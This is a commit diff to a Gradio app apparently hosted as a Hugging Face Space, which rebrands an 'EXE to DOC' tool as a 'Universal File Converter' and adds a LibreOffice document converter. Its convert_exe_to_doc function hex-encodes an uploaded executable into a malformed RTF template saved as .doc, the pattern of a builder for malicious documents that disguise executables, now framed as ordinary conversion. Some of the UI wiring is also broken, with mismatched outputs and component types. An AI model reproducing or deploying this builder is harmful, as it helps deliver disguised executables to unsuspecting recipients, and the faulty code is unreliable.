Spaces:
Sleeping
Sleeping
Update app.py
Browse files
app.py
CHANGED
|
@@ -1,16 +1,57 @@
|
|
| 1 |
import gradio as gr
|
| 2 |
import binascii
|
| 3 |
import os
|
| 4 |
-
|
|
|
|
| 5 |
from pathlib import Path
|
|
|
|
| 6 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 7 |
def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> str:
|
| 8 |
-
"""Convert EXE file to DOC file with embedded data
|
| 9 |
-
# Read the binary content of the input file
|
| 10 |
with open(input_file_path, 'rb') as f:
|
| 11 |
file_content = f.read()
|
| 12 |
|
| 13 |
-
# RTF template with placeholders for the binary data
|
| 14 |
file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
|
| 15 |
file += "\x0d\x0a"
|
| 16 |
file += "{\\colortbl ;\\red128\\green128\\blue0;}"
|
|
@@ -19,63 +60,122 @@ def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> st
|
|
| 19 |
URL2 = "00"
|
| 20 |
nxt = "{}}}}}}"
|
| 21 |
|
| 22 |
-
# Convert the file content to hex
|
| 23 |
binnu = binascii.b2a_hex(file_content).decode()
|
| 24 |
|
| 25 |
-
# Create the output directory if it doesn't exist
|
| 26 |
output_dir = "outputs"
|
| 27 |
os.makedirs(output_dir, exist_ok=True)
|
| 28 |
|
| 29 |
-
# Generate full output path
|
| 30 |
if not filename.endswith('.doc'):
|
| 31 |
filename += '.doc'
|
| 32 |
output_path = os.path.join(output_dir, filename)
|
| 33 |
|
| 34 |
-
# Write the file
|
| 35 |
with open(output_path, 'w', encoding='latin-1') as textfile:
|
| 36 |
textfile.write(file + binnu + URL2 + nxt)
|
| 37 |
|
| 38 |
return output_path
|
| 39 |
|
| 40 |
-
|
| 41 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 42 |
if input_file is None:
|
| 43 |
raise gr.Error("Please upload a file first")
|
| 44 |
|
| 45 |
-
|
| 46 |
-
filename = Path(input_file.name).stem + ".doc"
|
| 47 |
|
| 48 |
try:
|
| 49 |
-
|
| 50 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 51 |
except Exception as e:
|
| 52 |
raise gr.Error(f"Conversion failed: {str(e)}")
|
| 53 |
|
| 54 |
-
with gr.Blocks(title="
|
| 55 |
-
gr.Markdown("#
|
| 56 |
-
gr.Markdown("
|
| 57 |
|
| 58 |
with gr.Row():
|
| 59 |
with gr.Column():
|
| 60 |
-
file_input = gr.File(
|
| 61 |
-
|
| 62 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 63 |
)
|
| 64 |
-
|
| 65 |
-
label="Output Filename (
|
| 66 |
placeholder="output.doc",
|
| 67 |
-
|
| 68 |
)
|
|
|
|
| 69 |
convert_btn = gr.Button("Convert", variant="primary")
|
| 70 |
|
| 71 |
with gr.Column():
|
| 72 |
-
file_output = gr.File(label="Download Converted
|
| 73 |
status_output = gr.Textbox(label="Status", interactive=False)
|
| 74 |
|
| 75 |
-
#
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 76 |
convert_btn.click(
|
| 77 |
fn=process_conversion,
|
| 78 |
-
inputs=[file_input,
|
| 79 |
outputs=[file_output, status_output]
|
| 80 |
)
|
| 81 |
|
|
|
|
| 1 |
import gradio as gr
|
| 2 |
import binascii
|
| 3 |
import os
|
| 4 |
+
import subprocess
|
| 5 |
+
import tempfile
|
| 6 |
from pathlib import Path
|
| 7 |
+
from typing import Dict, Optional, Tuple
|
| 8 |
|
| 9 |
+
# ========================
|
| 10 |
+
# Document Converter (from GitHub repo)
|
| 11 |
+
# ========================
|
| 12 |
+
class DocumentConverter:
|
| 13 |
+
def __init__(self):
|
| 14 |
+
self.temp_dir = tempfile.mkdtemp()
|
| 15 |
+
self.supported_conversions = {
|
| 16 |
+
"pdf": ["docx", "txt", "html"],
|
| 17 |
+
"docx": ["pdf", "txt", "html"],
|
| 18 |
+
"txt": ["pdf", "docx", "html"],
|
| 19 |
+
"html": ["pdf", "docx", "txt"]
|
| 20 |
+
}
|
| 21 |
+
|
| 22 |
+
def convert_document(self, input_path: str, output_format: str) -> Optional[str]:
|
| 23 |
+
"""Handle document conversion using LibreOffice"""
|
| 24 |
+
try:
|
| 25 |
+
input_file = Path(input_path)
|
| 26 |
+
if not input_file.exists():
|
| 27 |
+
raise ValueError("Input file does not exist")
|
| 28 |
+
|
| 29 |
+
output_path = os.path.join(self.temp_dir, f"{input_file.stem}_converted.{output_format}")
|
| 30 |
+
|
| 31 |
+
# Determine conversion tool based on file types
|
| 32 |
+
cmd = [
|
| 33 |
+
"libreoffice",
|
| 34 |
+
"--headless",
|
| 35 |
+
"--convert-to", output_format,
|
| 36 |
+
"--outdir", os.path.dirname(output_path),
|
| 37 |
+
input_path
|
| 38 |
+
]
|
| 39 |
+
|
| 40 |
+
subprocess.run(cmd, check=True)
|
| 41 |
+
return output_path
|
| 42 |
+
except subprocess.CalledProcessError as e:
|
| 43 |
+
raise RuntimeError(f"LibreOffice conversion failed: {str(e)}")
|
| 44 |
+
except Exception as e:
|
| 45 |
+
raise RuntimeError(f"Conversion error: {str(e)}")
|
| 46 |
+
|
| 47 |
+
# ========================
|
| 48 |
+
# EXE to DOC Converter (your existing code)
|
| 49 |
+
# ========================
|
| 50 |
def convert_exe_to_doc(input_file_path: str, filename: str = "output.doc") -> str:
|
| 51 |
+
"""Convert EXE file to DOC file with embedded data"""
|
|
|
|
| 52 |
with open(input_file_path, 'rb') as f:
|
| 53 |
file_content = f.read()
|
| 54 |
|
|
|
|
| 55 |
file = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\deflang1033{\\fonttbl{\\f0\\fswiss\\fcharset0 Arial;}{\\f1\\fswiss\\fprq2\\fcharset0 Berlin Sans FB Demi;}{\\f2\\fnil\\fcharset2 Symbol;}}{/*/*/*}"
|
| 56 |
file += "\x0d\x0a"
|
| 57 |
file += "{\\colortbl ;\\red128\\green128\\blue0;}"
|
|
|
|
| 60 |
URL2 = "00"
|
| 61 |
nxt = "{}}}}}}"
|
| 62 |
|
|
|
|
| 63 |
binnu = binascii.b2a_hex(file_content).decode()
|
| 64 |
|
|
|
|
| 65 |
output_dir = "outputs"
|
| 66 |
os.makedirs(output_dir, exist_ok=True)
|
| 67 |
|
|
|
|
| 68 |
if not filename.endswith('.doc'):
|
| 69 |
filename += '.doc'
|
| 70 |
output_path = os.path.join(output_dir, filename)
|
| 71 |
|
|
|
|
| 72 |
with open(output_path, 'w', encoding='latin-1') as textfile:
|
| 73 |
textfile.write(file + binnu + URL2 + nxt)
|
| 74 |
|
| 75 |
return output_path
|
| 76 |
|
| 77 |
+
# ========================
|
| 78 |
+
# Unified Interface
|
| 79 |
+
# ========================
|
| 80 |
+
def get_conversion_type(input_file: Dict) -> str:
|
| 81 |
+
"""Determine which converter to use based on file type"""
|
| 82 |
+
if input_file is None:
|
| 83 |
+
return "none"
|
| 84 |
+
|
| 85 |
+
filename = input_file.name.lower()
|
| 86 |
+
if filename.endswith('.exe'):
|
| 87 |
+
return "exe_to_doc"
|
| 88 |
+
else:
|
| 89 |
+
return "document"
|
| 90 |
+
|
| 91 |
+
def update_interface(input_file: Dict) -> Dict:
|
| 92 |
+
"""Update the UI based on selected file"""
|
| 93 |
+
conv_type = get_conversion_type(input_file)
|
| 94 |
+
|
| 95 |
+
if conv_type == "exe_to_doc":
|
| 96 |
+
return [
|
| 97 |
+
gr.Textbox(visible=False), # output_format
|
| 98 |
+
gr.Textbox(visible=True), # custom_filename
|
| 99 |
+
gr.Dropdown(visible=False) # doc_format_dropdown
|
| 100 |
+
]
|
| 101 |
+
elif conv_type == "document":
|
| 102 |
+
input_ext = Path(input_file.name).suffix.lower()[1:]
|
| 103 |
+
formats = DocumentConverter().supported_conversions.get(input_ext, [])
|
| 104 |
+
return [
|
| 105 |
+
gr.Dropdown(visible=True, choices=formats, value=formats[0] if formats else None),
|
| 106 |
+
gr.Textbox(visible=False),
|
| 107 |
+
gr.Dropdown(visible=False)
|
| 108 |
+
]
|
| 109 |
+
else:
|
| 110 |
+
return [
|
| 111 |
+
gr.Textbox(visible=False),
|
| 112 |
+
gr.Textbox(visible=False),
|
| 113 |
+
gr.Dropdown(visible=False)
|
| 114 |
+
]
|
| 115 |
+
|
| 116 |
+
def process_conversion(input_file: Dict, output_format: str, custom_filename: str) -> Tuple[str, str]:
|
| 117 |
+
"""Handle the conversion process"""
|
| 118 |
if input_file is None:
|
| 119 |
raise gr.Error("Please upload a file first")
|
| 120 |
|
| 121 |
+
conv_type = get_conversion_type(input_file)
|
|
|
|
| 122 |
|
| 123 |
try:
|
| 124 |
+
if conv_type == "exe_to_doc":
|
| 125 |
+
if not custom_filename:
|
| 126 |
+
custom_filename = "converted.doc"
|
| 127 |
+
output_path = convert_exe_to_doc(input_file.name, custom_filename)
|
| 128 |
+
return output_path, "EXE to DOC conversion successful!"
|
| 129 |
+
|
| 130 |
+
elif conv_type == "document":
|
| 131 |
+
if not output_format:
|
| 132 |
+
raise gr.Error("Please select an output format")
|
| 133 |
+
converter = DocumentConverter()
|
| 134 |
+
output_path = converter.convert_document(input_file.name, output_format)
|
| 135 |
+
return output_path, f"Document conversion to {output_format.upper()} successful!"
|
| 136 |
+
|
| 137 |
+
else:
|
| 138 |
+
raise gr.Error("Unsupported file type")
|
| 139 |
except Exception as e:
|
| 140 |
raise gr.Error(f"Conversion failed: {str(e)}")
|
| 141 |
|
| 142 |
+
with gr.Blocks(title="Universal File Converter") as demo:
|
| 143 |
+
gr.Markdown("# Universal File Converter")
|
| 144 |
+
gr.Markdown("Convert EXE to DOC or between document formats (PDF, DOCX, TXT, HTML)")
|
| 145 |
|
| 146 |
with gr.Row():
|
| 147 |
with gr.Column():
|
| 148 |
+
file_input = gr.File(label="Upload File")
|
| 149 |
+
|
| 150 |
+
# Dynamic components
|
| 151 |
+
output_format = gr.Dropdown(
|
| 152 |
+
label="Output Format",
|
| 153 |
+
choices=[],
|
| 154 |
+
visible=False
|
| 155 |
)
|
| 156 |
+
custom_filename = gr.Textbox(
|
| 157 |
+
label="Output Filename (for EXE to DOC)",
|
| 158 |
placeholder="output.doc",
|
| 159 |
+
visible=False
|
| 160 |
)
|
| 161 |
+
|
| 162 |
convert_btn = gr.Button("Convert", variant="primary")
|
| 163 |
|
| 164 |
with gr.Column():
|
| 165 |
+
file_output = gr.File(label="Download Converted File")
|
| 166 |
status_output = gr.Textbox(label="Status", interactive=False)
|
| 167 |
|
| 168 |
+
# Update interface when file is uploaded
|
| 169 |
+
file_input.change(
|
| 170 |
+
fn=update_interface,
|
| 171 |
+
inputs=file_input,
|
| 172 |
+
outputs=[output_format, custom_filename]
|
| 173 |
+
)
|
| 174 |
+
|
| 175 |
+
# Handle conversion
|
| 176 |
convert_btn.click(
|
| 177 |
fn=process_conversion,
|
| 178 |
+
inputs=[file_input, output_format, custom_filename],
|
| 179 |
outputs=[file_output, status_output]
|
| 180 |
)
|
| 181 |
|